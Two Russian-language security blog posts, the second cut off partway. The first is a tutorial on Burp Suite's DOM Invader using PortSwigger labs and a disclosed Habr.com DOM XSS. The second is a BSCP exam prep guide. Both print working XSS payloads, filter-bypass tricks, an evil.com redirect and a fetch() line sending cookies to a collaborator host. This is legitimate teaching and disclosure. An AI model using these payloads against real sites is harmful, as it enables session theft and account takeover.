  <p id="7jRp"><strong>Source</strong></p>
  <p id="LauJ">Свойство JavaScript, которое принимает данные, потенциально контролируемые пользователем. Пример источника — свойство location.search, поскольку оно считывает ввод из строки запроса, которой относительно просто управлять. В конечном итоге любое свойство, которым может управлять пользователь, является потенциальным Source. К этому относятся URL-адрес источника (document.referrer), Cookie пользователя (document.cookie) и WebMessages (подробнее про WebMessages написано <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage" target="_blank">здесь</a>).</p>
  <p id="vSUE"><strong>Sink</strong></p>
  <p id="WqJk">Потенциально опасная функция JavaScript или объект DOM, которые могут вызвать уязвимость, если в них передаются данные, контролируемые пользователем. Например, функция eval() является Sink&#x27;ом, поскольку она обрабатывает аргумент, который в него передается, как JavaScript. Примером HTML-Sink является document.body.innerHTML, так как это потенциально позволяет внедрить HTML и выполнить произвольный JavaScript.</p>
  <p id="UAii"><strong>Gadget</strong></p>
  <p id="V0Bw">Небольшие фрагменты кода, которые могут быть использованы для эксплуатации уязвимостей. «Гаджеты» часто применяются в цепочках уязвимостей для достижения более значительного импакта. Еще их используют для обхода защитных мер, повышения привилегий или выполнения произвольного кода.</p>
  <p id="Z0xh"><strong>DOM Invader</strong></p>
  <p id="GSss">DOM Invader — это браузерный инструмент, который поможет в поиске уязвимостей DOM XSS, Prototype Pollution и DOM Clobbering. Суть его функции — в изучении различных Sources и Sinks, включая векторы postMessage. Он доступен через встроенный браузер Burp Suite: это уже предустановленное расширение, его нужно просто включить в настройках.</p>
  <figure id="xAh8" class="m_original">
    <img src="https://img4.teletype.in/files/f2/0c/f20ce3c1-0b58-4c10-8e97-0a961d0bb2e8.png" width="638" />
  </figure>
  <p id="qWQv">Что умеет DOM Invader?</p>
  <ol id="VYrn">
    <li id="voPc">Проверять на DOM XSS. Расширенное представление DOM позволяет мгновенно определить управляемые Sinks на странице, показывая вам точку внедрения и XSS-контекст, и то, как обрабатывается переданный ввод.</li>
    <li id="C5OC">Логировать, изменять и повторно отправлять WebMessage с помощью метода postMessage(). Это позволяет тестировать DOM XSS через WebMessage (<a href="https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages" target="_blank">подробнее</a>).</li>
    <li id="ryD7">Автоматически определять Sources Prototype Pollution на стороне клиента и сканировать управляемые Gadgets, которые передаются в опасные Sinks.</li>
    <li id="rWN3">Автоматически выявлять уязвимости DOM clobbering (<a href="https://portswigger.net/web-security/dom-based/dom-clobbering" target="_blank">подробнее</a>).</li>
  </ol>
  <p id="w8kZ">Прежде чем начать использовать инструмент, важно вспомнить сам контекст возникновения уязвимостей DOM XSS, так что нам пригодится немного практики.</p>
  <h2 id="2CPV">Подготовка</h2>
  <p id="aS5I">1. Обновите Canary (ключевое слово, используемое для идентификации уязвимости), в нашем случае это XXS.</p>
  <figure id="Z4hZ" class="m_original">
    <img src="https://img2.teletype.in/files/51/17/5117154b-3c15-4a5a-8120-36ecaa288465.png" width="627" />
  </figure>
  <p id="Jb6l">2. Откройте вкладку DOM Invader в инструментах разработчика (F12)</p>
  <figure id="cIbe" class="m_original">
    <img src="https://img4.teletype.in/files/b7/cd/b7cd182e-dfcf-4d03-8a24-1b32eac62cbb.png" width="1560" />
  </figure>
  <p id="xYmF">3. Откройте сайт, который будете проверять на уязвимости, и внедрите Canary в параметры</p>
  <figure id="ODwf" class="m_original">
    <img src="https://img1.teletype.in/files/0f/99/0f99655b-4d7f-4685-8fd7-4c694006e318.png" width="1385" />
  </figure>
  <p id="zcQT">4. На вкладке DOM Invader проверьте, возвращается ли Canary в Sink</p>
  <figure id="ex5e" class="m_original">
    <img src="https://img1.teletype.in/files/cb/8e/cb8e6ec1-a500-483e-a4bb-994066ab596c.png" width="1560" />
  </figure>
  <p id="57NV">5. При необходимости проверьте Stack Trace. Он отображается в консоли при нажатии на соответствующую кнопку в DOM Invader</p>
  <figure id="V9QG" class="m_original">
    <img src="https://img2.teletype.in/files/52/e0/52e0209e-4b52-4364-b272-a4beb6255b92.png" width="571" />
  </figure>
  <p id="27Ls">А теперь перейдем к практике и разберемся с работой расширения на примере некоторых лабораторных Академии PortSwigger.</p>
  <h2 id="ntus">Лабораторная 1. DOM XSS in document.write sink using source location.search</h2>
  <p id="jJ63">Здесь мы можем использовать функцию Inject forms, а затем нажать «Поиск» на странице сайта:</p>
  <figure id="EqJU" class="m_original">
    <img src="https://img1.teletype.in/files/0f/99/0f99655b-4d7f-4685-8fd7-4c694006e318.png" width="1385" />
  </figure>
  <p id="CF2k">В расширении можно будет увидеть, что Sink найден. Теперь можно пробовать проэксплуатировать уязвимость:</p>
  <figure id="tr3n" class="m_original">
    <img src="https://img1.teletype.in/files/cb/8e/cb8e6ec1-a500-483e-a4bb-994066ab596c.png" width="1560" />
  </figure>
  <p id="5Og2">Чтобы изучить эту точку внедрения подробнее, мы можем открыть Stack Trace, после чего получим уведомление о том, что трассировка доступна в консоли:</p>
  <figure id="ZgOh" class="m_original">
    <img src="https://img2.teletype.in/files/52/e0/52e0209e-4b52-4364-b272-a4beb6255b92.png" width="571" />
  </figure>
  <p id="WWfM">Теперь переходим в консоль и открываем кусок кода, в котором обнаружен Sink:</p>
  <figure id="lG48" class="m_original">
    <img src="https://img1.teletype.in/files/c1/0d/c10daaaa-c8a9-4a8a-9c6c-13fd66df3404.png" width="1404" />
  </figure>
  <pre id="YCy5">&lt;script&gt;
function trackSearch(query) {document.write(&#x27;&lt;img src=&quot;/resources/images/track
}
var query = (new URLSearchParams(window.location.search)).get(&#x27;search&#x27;);
if(query) {
trackSearch(query);
}
&lt;/script&gt;</pre>
  <p id="TOEa">Сначала мы создаем переменную query и добавляем в нее значение параметра search:</p>
  <pre id="9LIw">var query = (new URLSearchParams(window.location.search)).get(&#x27;search&#x27;);</pre>
  <p id="RQ47">Если query не null, мы вызываем функцию trackSearch и передаем в нее значение:</p>
  <pre id="uIrl">if(query) {
trackSearch(query);
}</pre>
  <p id="6m4O">Для записи строк на страницу используется функция document.write(). Сначала загружается страница, а затем на нее добавляется наше значение query:</p>
  <pre id="DM5p">document.write(&#x27;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#x27;+query+&#x27;&quot;&gt;&#x27;)</pre>
  <p id="7rcw">В данном случае Source, или точка внедрения, — это значение location.search, которое мы контролируем, а Sink&#x27;ом является document.write.</p>
  <p id="YMUm">Теперь переходим в DOM Invader и пробуем использовать кнопку Exploit — быть может, полезная нагрузка, подобранная расширением, сработает?</p>
  <figure id="ZFE7" class="m_original">
    <img src="https://img4.teletype.in/files/3e/00/3e007e02-2c01-4e3e-8ab5-7a0f3873f307.png" width="1051" />
  </figure>
  <p id="KHWQ">Эксплойт не сработал, но можно заметить, что мы добавили на страницу &quot;&gt; и застряли в HTML-теге:</p>
  <figure id="h6cg" class="m_original">
    <img src="https://img2.teletype.in/files/1f/f7/1ff71b0b-e78e-44c4-88c6-aafe84d143b2.png" width="767" />
  </figure>
  <p id="6zxB">Пробуем воспользоваться полезной нагрузкой, которая отобразилась на странице, и добавляем значение, которое отобразилось вне тега с результатом поиска:</p>
  <pre id="en8c">“&gt;&lt;img src=x onerror=alert(1)&gt;</pre>
  <figure id="dKTm" class="m_original">
    <img src="https://img1.teletype.in/files/cc/8a/cc8a811e-d2dd-4a56-999b-43df2b575223.png" width="1069" />
  </figure>
  <p id="8kuW">Хоть DOM Invader и не подсказал нам точный способ эксплуатации, данный инструмент помогает в поиске Sources, которые впоследствии можно эксплуатировать вручную.</p>
  <p id="BXTC">Это довольно простой пример, и такую XSS можно найти вручную. Но когда мы тестируем приложение с огромным количеством форм, ручной анализ займет много времени, а DOM Invader ускорит нашу работу. В таком формате тестирование становится эффективнее. Нам больше не нужно тратить часы на изучение функций, источников и тому подобного, чтобы найти XSS.</p>
  <h2 id="iIgJ">Лабораторная 2. DOM XSS in innerHTML sink using source location.search</h2>
  <p id="7Jod">Переходим в DOM Invader, жмем inject forms, после нажимаем поиск на странице:</p>
  <figure id="8RpB" class="m_original">
    <img src="https://img2.teletype.in/files/5b/a1/5ba1d82d-096e-4d55-a9ab-f58dab81af94.png" width="1443" />
  </figure>
  <p id="JOrL">Смотрим Stack Trace:</p>
  <figure id="zPGe" class="m_original">
    <img src="https://img1.teletype.in/files/cb/a9/cba98be9-560a-4dad-9407-64c88063e9fe.png" width="740" />
  </figure>
  <pre id="T3hS">document.getElementById(&#x27;searchMessage&#x27;).innerHTML = query;</pre>
  <p id="d6gW">Эта строка вставляет наши входные данные в элемент HTML с идентификатором “searchMessage”. Здесь используется метод .innerHTML, что создает потенциальную уязвимость, так как он вставляет небезопасные данные напрямую в элемент.</p>
  <p id="4mvf">Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение и JavaScript выполнился:</p>
  <figure id="H9s1" class="m_original">
    <img src="https://img1.teletype.in/files/c1/84/c1842fcd-0085-45fb-aa53-303c0e4a3321.png" width="1154" />
  </figure>
  <h2 id="jUKQ">Лабораторная 3. DOM XSS in document.write sink using source location.search inside a select element</h2>
  <p id="2fxL">В данной лабораторной немного меняются точка внедрения и логика приложения, поэтому, чтобы найти точку внедрения, необходимо проверить функцию проверки остатков товара:</p>
  <figure id="8nrw" class="m_original">
    <img src="https://img3.teletype.in/files/65/96/6596e011-bb41-458a-a960-8918dd333106.png" width="1216" />
  </figure>
  <p id="ppu4">Посмотрев запрос, находим параметр storeId в функции проверки остатков товара:</p>
  <figure id="n5IX" class="m_original">
    <img src="https://img3.teletype.in/files/63/44/6344dc38-f3b9-4294-8bf7-602b3bd3ad76.png" width="1535" />
  </figure>
  <p id="ZAas">Передаем параметр storeId в GET-запросе и запускаем DOM Invader, жмем Inject URL params:</p>
  <figure id="8Tp7" class="m_original">
    <img src="https://img3.teletype.in/files/e8/57/e8575662-04fb-4e3b-8d61-14072a85a517.png" width="1560" />
  </figure>
  <p id="ryiA">Смотрим код, в котором возникает уязвимость.</p>
  <figure id="MUyv" class="m_original">
    <img src="https://img3.teletype.in/files/ed/90/ed90bd66-f68c-4d86-8887-61753e81c7c3.png" width="1153" />
  </figure>
  <p id="70FI">В этом фрагменте кода сначала присваивается значение переменной store параметра storeId из URL страницы:</p>
  <pre id="Ue2j">var store = (new URLSearchParams(window.location.search)).get(&#x27;storeId&#x27;);</pre>
  <p id="9a2x">Значение <strong>&#x27;storeId&#x27; </strong>не проверяется и попадает на страницу без обратки.</p>
  <pre id="WpRf">document.write(&#x27;&lt;select name=&quot;storeId&quot;&gt;&quot;&#x27;&gt;&lt;/select&gt;&lt;img src onerror=alert(1)&gt;&#x27;);</pre>
  <p id="pYaV">Данная строчка кода отвечает за создание элемента выпадающего списка, и небезопасная функция document.write() создает уязвимость.</p>
  <pre id="oopu">if(store)
{
document.write(&#x27;&lt;option selected&gt;&#x27;+store+&#x27;&lt;/option&gt;&#x27;);
}</pre>
  <p id="hD0X">Существует условие: если для store задано значение, оно добавляется в список и отмечается как выбранное. Здесь и возникает уязвимость DOM XSS, так как значение store не проходит должной обработки.</p>
  <p id="R9Ij">Жмем Exploit и видим, что XSS не сработала и наш ввод попал между тегов option:</p>
  <figure id="I9zG" class="m_original">
    <img src="https://img1.teletype.in/files/4e/dc/4edc5453-f7b7-4a18-97b0-24222adfbd00.png" width="759" />
  </figure>
  <p id="GGpk">Чтобы уязвимость сработала, возвращаемся к коду, смотрим на уязвимую функцию и немного изменяем эксплойт, чтобы закрыть тег select. Наша полезная нагрузка попадет в Sink примерно так:</p>
  <pre id="WK3c">document.write(&#x27;&lt;select name=&quot;storeId&quot;&gt;&#x27;&lt;/select&gt;&lt;img src onerror=alert(1)&gt;&#x27;);</pre>
  <p id="fB7M">Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение:</p>
  <figure id="5cf4" class="m_original">
    <img src="https://img4.teletype.in/files/fc/b6/fcb63495-375a-4069-aafe-74ae6b519713.png" width="1302" />
  </figure>
  <h2 id="Uxys">Лабораторная 4. DOM XSS via client-side prototype pollution</h2>
  <p id="boR9">Теперь мы ищем Prototype Pollution, и нам необходимо включить режим для поиска этой уязвимости в расширении.</p>
  <figure id="BSba" class="m_original">
    <img src="https://img2.teletype.in/files/9a/c8/9ac8dcde-427e-41d4-a203-e5d36c34e5b5.png" width="627" />
  </figure>
  <p id="MWOJ">Переходим на главную страницу и открываем расширение. Оно сразу обнаружило уязвимость:</p>
  <figure id="sctQ" class="m_original">
    <img src="https://img1.teletype.in/files/45/bd/45bdb4ff-fad9-406a-8eeb-dca5b6bf1223.png" width="1560" />
  </figure>
  <p id="MDOC">Жмем Scan Gadgets и видим найденный Sink:</p>
  <figure id="8ks4" class="m_original">
    <img src="https://img1.teletype.in/files/4d/58/4d584f3e-60f8-4fa3-93a5-e0d8b600ae8f.png" width="1560" />
  </figure>
  <p id="nxVR">Смотрим Stack Trace в консоли браузера и переходим к коду, где возникает уязвимость:</p>
  <figure id="7bk4" class="m_original">
    <img src="https://img2.teletype.in/files/d8/8a/d88a75bd-94c2-4e11-b05c-f06bb3c73cf4.png" width="944" />
  </figure>
  <p id="d1D7">Уязвимая часть кода:</p>
  <pre id="KgBy">if(config.transport_url) {
let script = document.createElement(&#x27;script&#x27;);
script.src = config.transport_url;
document.body.appendChild(script);
}</pre>
  <p id="S7Hg">В этом участке кода перед использованием config.transport_url не проверяется его источник. В результате, добавив proto[transport_url]=data:,alert(1) в запрос, можно заставить каждый объект, прошедший через deparam, получать свойство transport_url со значением data:,alert(1). Это значение будет использоваться как источник для нового элемента script, что приведет к выполнению кода alert(1).</p>
  <p id="Kli7">Нажимаем Exploit:</p>
  <figure id="g8FT" class="m_original">
    <img src="https://img2.teletype.in/files/d7/3f/d73f3f79-dd64-44b5-b1d3-1e00745f6bb2.png" width="1149" />
  </figure>
  <h2 id="lwJE">Лабораторная 5. Client-side prototype pollution via browser APIs</h2>
  <p id="wQgU">Переходим в DOM Invader, где можно увидеть, что найдено две точки внедрения:</p>
  <figure id="i8Id" class="m_original">
    <img src="https://img1.teletype.in/files/45/bd/45bdb4ff-fad9-406a-8eeb-dca5b6bf1223.png" width="1560" />
  </figure>
  <p id="CaJv">В данном случае расширение не находит уязвимый участок кода, поэтому используем сканирование на гаджеты:</p>
  <figure id="348t" class="m_original">
    <img src="https://img2.teletype.in/files/dc/1f/dc1f48d5-6b67-4e4a-8278-7fd84db17c4d.png" width="1560" />
  </figure>
  <p id="FIF8">Теперь у нас есть источник и точка внедрения, переходим в DOM Invader, смотрим Stack Trace и уязвимый код:</p>
  <figure id="A5oW" class="m_original">
    <img src="https://img2.teletype.in/files/d8/8a/d88a75bd-94c2-4e11-b05c-f06bb3c73cf4.png" width="944" />
  </figure>
  <p id="nzR7">Вы можете самостоятельно разобрать данный код, это будет хорошей практикой. Воспользуемся кнопкой Exploit и видим, что полезная нагрузка для исполнения JavaScript сработала:</p>
  <figure id="NtE2" class="m_original">
    <img src="https://img2.teletype.in/files/d7/3f/d73f3f79-dd64-44b5-b1d3-1e00745f6bb2.png" width="1149" />
  </figure>
  <h2 id="rJdU">Bug Bounty. DOM XSS in Habr.com</h2>
  <p id="ipEa">Можно подумать, что расширение поможет только при поиске простых XSS в лабораторных и не особо применимо на Bug Bounty или в новом проекте, но мой опыт показывает, что DOM Invader способен находить уязвимость где угодно.</p>
  <p id="j26X">Поскольку я публикую текст на Habr.com, я решил протестировать его на уязвимость и доказать вам тезис об универсальности DOM Invader.</p>
  <p id="UGY8"><strong>Detect</strong></p>
  <p id="T7x7">Добавляем # на страницу и нашу канарейку после якоря, смотрим вкладку DOM Invader:</p>
  <figure id="n8IN" class="m_original">
    <img src="https://img3.teletype.in/files/a6/dd/a6dd56f6-6d2b-4eb9-b63f-f6013b080d16.png" width="1560" />
  </figure>
  <p id="RWN6">Жмем Exploit:</p>
  <figure id="973b" class="m_original">
    <img src="https://img4.teletype.in/files/f3/33/f333972b-cb0b-4054-8634-8cb6f9267bf8.png" width="1013" />
  </figure>
  <p id="3Pup"><strong>Impact</strong></p>
  <p id="6WLq">Начнем с того, что мы можем реализовать перенаправление пользователя с помощью простой полезной нагрузки.</p>
  <pre id="vo0T">#&#x27;&gt;&lt;img src onerror=eval(atob(&quot;ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo=&quot;))&gt;</pre>
  <p id="Em5Y">Где «ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo=»: <strong>document.location=<a href="https://evil.com" target="_blank">https://evil.com</a></strong></p>
  <p id="uF4k"><strong> Хм, а чем это опасно? </strong></p>
  <ul id="NETX">
    <li id="k4US"><strong>Кража email</strong></li>
  </ul>
  <p id="ZuGF">Перенаправление — это самый простой вектор атаки, и он может сыграть важную роль в эксплуатации данной уязвимости.</p>
  <p id="3Hny">Для того чтобы увеличить импакт от уязвимости, я определил критичные пользовательские данные на Habr и заметил, что email авторизованного пользователя лежит в ответе от страницы. Оставалось только захватить данный элемент. Чтобы это сделать, я написал небольшой скрипт, который будет искать на странице элемент email с помощью регулярного выражения и отправлять его нам на сервер.</p>
  <p id="tODb">В результате мне удалось добиться кражи email авторизованного пользователя:</p>
  <figure id="qiM0" class="m_original">
    <img src="https://img4.teletype.in/files/34/b0/34b06f01-c1b9-40cf-9d07-48891836aa9c.png" width="1560" />
  </figure>
  <ul id="r8Zy">
    <li id="v5VB"><strong>Phishing XSS</strong></li>
  </ul>
  <p id="MZgd">В качестве эксперимента я реализовал фишинговый вектор атаки с отрисовкой формы логина в аккаунт, полезная нагрузка помещается в eval:</p>
  <figure id="z4bO" class="m_original">
    <img src="https://img2.teletype.in/files/db/8e/db8efdf3-952b-4ec2-a016-689b709c11ca.png" width="1316" />
  </figure>
  <p id="P92T">Внимательный читатель может сказать, что размер полезной нагрузки может быть достаточно большим, чтобы передавать его пользователю, на что я напомню про перенаправление, которое может помочь при эксплуатации уязвимости. Таким образом, пользователю нужно будет передать страницу с перенаправлением на уязвимый сайт, который после отправит его обратно на Habr, добавив якорь с полезной нагрузкой :)</p>
  <p id="58Q8">О найденной уязвимости я сообщил команде Habr, они отреагировали в течение одного часа, после чего уязвимость была успешно устранена, а я получил свое Bounty. Отдельное спасибо за быструю реакцию и разрешение упомянуть уязвимость в статье!</p>
  <h2 id="Um0c">Полезные статьи в заключение</h2>
  <p id="MLnm">Мы познакомились подробнее с природой уязвимостей DOM XSS и Prototype Pollution, узнали, как пользоваться DOM Invader и для чего он нужен. Надеюсь, статья была для вас полезной, и советую дополнительно почитать вот такие материалы:</p>
  <ul id="u6Nd">
    <li id="yrpp"><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based" target="_blank">DOM-based XSS</a></li>
    <li id="KKNm"><a href="https://portswigger.net/web-security/prototype-pollution" target="_blank">Prototype Pollution</a></li>
    <li id="IpR7"><a href="https://portswigger.net/web-security/dom-based/dom-clobbering" target="_blank">DOM Clobbering</a></li>
    <li id="SUJc"><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage" target="_blank">PostMessage</a></li>
    <li id="cqJr"><a href="https://portswigger.net/web-security/dom-based/web-message-manipulation" target="_blank">WebMessage manipulation</a></li>
    <li id="4pRr"><a href="https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages" target="_blank">DOM XSS Web Message</a></li>
    <li id="wEAk"><a href="https://portswigger.net/web-security/dom-based/controlling-the-web-message-source" target="_blank">Controlling the web message source</a></li>
  </ul>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/I63CBwHr7RO</guid><link>https://teletype.in/@wr3dmast3r/I63CBwHr7RO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/I63CBwHr7RO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>BSCP — разгадываем тайны сертификации от академии PortSwigger</title><pubDate>Thu, 03 Jul 2025 00:36:01 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/cf/69/cf69defd-d41f-46f2-a84f-5d01297d0080.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1e/f5/1ef56ad6-38e0-42c3-9f7a-3e68416053cb.jpeg"></img>Наверняка многие из вас задумывались о подтверждении своей экспертизы с помощью некоторых сертификаций. Сегодня хочу поговорить о популярной сертификации от академии PortSwigger — BSCP, посвященной тестированию веб-приложений. Прежде чем приступить к изучению материалов для подготовки к BSCP, я уже имел хорошее представление об основных веб-уязвимостях из списка OWASP TOP-10. Также я знал, как эксплуатировать базовые уязвимости, такие как SQL-injection, XSS, Server-Side Template Injection и многие другие. Но на одном из этапов я задался вопросом: как всё-таки к нему эффективно подготовиться?]]></description><content:encoded><![CDATA[
  <p id="5bmo">Наверняка многие из вас задумывались о подтверждении своей экспертизы с помощью некоторых сертификаций. Сегодня хочу поговорить о популярной сертификации от академии <strong>PortSwigger</strong> — <strong>BSCP</strong>, посвященной тестированию веб-приложений. Прежде чем приступить к изучению материалов для подготовки к <strong>BSCP</strong>, я уже имел хорошее представление об основных веб-уязвимостях из списка <strong>OWASP TOP-10</strong>. Также я знал, как эксплуатировать базовые уязвимости, такие как <strong>SQL-injection</strong>, <strong>XSS</strong>, <strong>Server-Side Template Injection</strong> и многие другие. Но на одном из этапов я задался вопросом: как всё-таки к нему эффективно подготовиться?</p>
  <p id="sAeX">В этой статье я поделюсь лайфхаками по подготовке к сертификации, покажу, как может помочь встроенный в Burp Suite сканер уязвимостей, и подробно разберу каждый из этапов самого экзамена.</p>
  <figure id="ZmXG" class="m_original">
    <img src="https://img2.teletype.in/files/1e/f5/1ef56ad6-38e0-42c3-9f7a-3e68416053cb.jpeg" width="780" />
  </figure>
  <h3 id="Swi1">Итак, поехали!</h3>
  <p id="nuvu">Начнем со списка советов, которые могут помочь при подготовке к сдаче экзамена.</p>
  <p id="UeK6">1. Важно сосредоточить внимание на каждой новой функциональности на каждом этапе. Одинаковый интерфейс приложений в лабораторных и на экзамене позволяет быстро определить дополнительные возможности или отличия в функциях на различных этапах. Например, при получении доступа к учетной записи может появиться доступ к новому поиску по сайту.</p>
  <p id="DsuR">2. Сканирование с помощью <strong>Burp Suite</strong> помогает при поиске точек вхождения в лабораторные. Также дополнительно можно ознакомиться с руководством по сканированию на сайте <strong>PortSwigger</strong>.</p>
  <p id="FK2P">3. Многие вещи на экзамене и в лабораторных пересекаются, поэтому стоит обращать внимание на поиск документации и решений лабораторных <strong>PortSwigger</strong>. Также, конечно, могут встретиться и темы, которые не поднимались при изучении бесплатного материала.</p>
  <p id="Iz3G">4. Не стоит тратить много времени на тупиковый вектор и заострять внимание на одной функциональности, так как время на экзамене ограничено.</p>
  <p id="xtpk">5. Необходимо обращать особое внимание на уязвимости, которые могут возникнуть на каждом этапе. Список уязвимостей, характерных для каждого этапа, будет показан далее.</p>
  <p id="i9zF">6. В инструкциях к экзамену есть два словаря для подбора учетных данных пользователя — эти словари необходимо подготовить заранее. Так как данная уязвимость может встретиться в экзамене, это поможет сохранить время и нервы.</p>
  <p id="BnVm">7. Решить достаточное количество <strong>MysteryLabs</strong> для формирования подхода к поиску вектора атаки.</p>
  <p id="GC9h">8. Обязательно сдать рекомендуемые лабораторные и пробный экзамен.</p>
  <h3 id="xwlc">Перейдем к формату экзамена</h3>
  <p id="z5oL">Сам экзамен длится 4 часа и состоит из двух уязвимых машин, которые содержат по три уязвимости и всегда имеют одни и те же цели:</p>
  <p id="N1lQ">1. Получение доступа к учетной записи пользователя с низким уровнем привилегий.</p>
  <p id="eDC3">2. Повышение привилегий до уровня администратора.</p>
  <p id="wt0J">3. Чтение файла /home/carlos/secret.</p>
  <p id="Tffw">Уязвимости, которые могут встретиться на каждом этапе, выглядят примерно так:</p>
  <figure id="cDHV" class="m_original">
    <img src="https://img4.teletype.in/files/78/f1/78f114bb-fb7c-4b69-b7d9-b2b9531e581c.png" width="688" />
  </figure>
  <h2 id="ErDq">Тестовый экзамен</h2>
  <p id="uewd">Тестовый экзамен, так же как и реальный, состоит из двух уязвимых приложений, в которых существует шесть уязвимостей. Начнем с решения первой лабораторной машины.</p>
  <h2 id="smfJ">Machine1</h2>
  <h4 id="YCiq">Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий</h4>
  <p id="byv5">Для более быстрого поиска уязвимости можно воспользоваться встроенным в <strong>Burp Active Scan</strong>.</p>
  <p id="anao"><strong>Расширение ActiveScan++ добавляет возможности активного и пассивного сканирования Burp Suite. Оно разработано для добавления минимальной нагрузки на сеть и выявления поведения приложения, которое может помочь при поиске уязвимостей: </strong></p>
  <p id="za2A"><strong>1. Возможные атаки на заголовок хоста (уязвимости сброса пароля, загрязнение кэша, DNS-переходы). </strong></p>
  <p id="WjGn"><strong>2. Client-Side уязвимости. </strong></p>
  <p id="ubev"><strong>3. Обработка ввода XML. </strong></p>
  <p id="alpG"><strong>4. Подозрительное преобразование ввода (например, 7*7 =&gt; &#x27;49&#x27;, \x41\x41 =&gt; &#x27;AA&#x27;).</strong></p>
  <p id="7MTO"><strong>Identificate. Active Scan</strong></p>
  <p id="uOQ8">При входе в приложение мы видим обычный интерфейс лабораторных <strong>PortSwigger</strong>:</p>
  <figure id="3QIs" class="m_original">
    <img src="https://img1.teletype.in/files/48/8f/488f6bac-be2b-4ffa-b9f1-6f963e84b58c.png" width="1004" />
  </figure>
  <p id="kEzA">В приложении существует функциональность поиска по сайту, выполняем запрос и отправляем его на сканирование:</p>
  <figure id="PTwM" class="m_original">
    <img src="https://img1.teletype.in/files/4e/99/4e997d26-7a30-45ed-9ac5-eccaf1607756.png" width="1004" />
  </figure>
  <p id="aGVC">Сканер достаточно быстро обнаруживает уязвимость, и в данном случае мы сталкиваемся с <strong>DOM-XSS</strong>:</p>
  <figure id="Zz5E" class="m_original">
    <img src="https://img3.teletype.in/files/e8/10/e8108a8a-cbc5-4998-b250-9ae82a4a1574.png" width="1004" />
  </figure>
  <p id="udeK"><strong>XSS-уязвимости на основе DOM обычно возникают, когда JavaScript получает данные из контролируемого злоумышленником источника, например, URL, и передает их в источник, поддерживающий динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript-код, который, как правило, позволяет им захватывать учетные записи других пользователей. </strong></p>
  <p id="7UUU">Таким образом, зная уязвимое место приложения и обнаруженную уязвимость, для начала подбираем полезную нагрузку для вывода данных на страницу в браузере:</p>
  <pre id="wWzi">&quot;-prompt(1)-&quot; или &quot;-alert(1)-&quot;</pre>
  <figure id="xIeh" class="m_original">
    <img src="https://img3.teletype.in/files/a0/f6/a0f66672-6e60-450c-8791-102cf4dab8bf.png" width="1004" />
  </figure>
  <p id="L4lB">Дальше нам необходимо попробовать получить свой сессионный идентификатор, и при попытке это сделать с помощью обычного <strong>alert(document.cookie)</strong> наше действие попадает под фильтрацию и возвращает ответ <strong>«Potentially dangerous search term»</strong>:</p>
  <figure id="RUAh" class="m_original">
    <img src="https://img2.teletype.in/files/9b/48/9b4833c2-cddd-452b-b248-b110578e96ed.png" width="1004" />
  </figure>
  <p id="KgVE">Для того чтобы обойти ограничение, нам понадобится вспомнить, что такое глобальные переменные <strong>JavaScript</strong>.</p>
  <p id="Yig1"><strong>Глобальная переменная — это переменная, определенная в контексте глобальной области видимости. Это означает, что к ней можно обращаться из любой другой области видимости, то есть глобальная переменная доступна в любой части кода. В JavaScript она представляет собой свойство глобального объекта.</strong></p>
  <p id="PPN3"><strong>WAF</strong> предотвращает опасные фильтры и теги. Обойти фильтр <strong>WAF</strong> можно с помощью глобальных переменных <strong>JavaScript</strong>:</p>
  <pre id="2nEI">&quot;-alert(window[&quot;document&quot;][&quot;cookie&quot;])-&quot; &quot;-window[&quot;alert&quot;](window[&quot;document&quot;][&quot;cookie&quot;])-&quot; &quot;-self[&quot;alert&quot;](self[&quot;document&quot;][&quot;cookie&quot;])-&quot;</pre>
  <p id="yXo2">Необходимо подобрать полезную нагрузку для того, чтобы украсть сессионный идентификатор обычного пользователя. Так как валидация входных данных не позволяет использовать document.cookie, ее можно обойти, используя полезную нагрузку:</p>
  <pre id="JGRB">&quot;-alert(window[&quot;document&quot;][&quot;cookie&quot;])-&quot;</pre>
  <figure id="qX5B" class="m_original">
    <img src="https://img4.teletype.in/files/b4/b9/b4b9db00-2f39-458f-a7b0-21b3d3972750.png" width="1004" />
  </figure>
  <p id="YQ09">Для последующей эксплуатации потребуется подобрать конструкцию, которая отправит данные о сессии нам на collaborator:</p>
  <pre id="C4wz">fetch(&#x60;https://COLLAB/?xss=&#x60; + window[&quot;document&quot;][&quot;cookie&quot;])</pre>
  <p id="fKYn">После этого необходимо закодировать нашу полезную нагрузку с использованием <a href="https://www.base64encode.org/" target="_blank">Base64 encoded</a>, что позволит нам украсть сессионный идентификатор пользователя:</p>
  <figure id="3BZ7" class="m_original">
    <img src="https://img4.teletype.in/files/b9/e9/b9e976c7-35b0-4b6d-826f-3ef0a972b88a.png" width="1004" />
  </figure>
  <p id="KI8H">Воспользуемся конструкцией <strong>eval(atob())</strong> для обхода фильтрации и получения сессионного идентификатора, а также полезной нагрузкой, чтобы получить собственный сессионный идентификатор.</p>
  <p id="nA6E"><strong>Но для начала разберемся, как это работает: - Метод eval() выполняет команду из аргумента. - Методы btoa() и atob() используются для кодирования и декодирования строк в формате base64.Если метод eval() заблокирован, то можно использовать альтернативы:</strong></p>
  <pre id="YVT7">- setTimeout(&quot;code&quot;) 
- setInterval(&quot;code) 
- Function(&quot;code&quot;)()

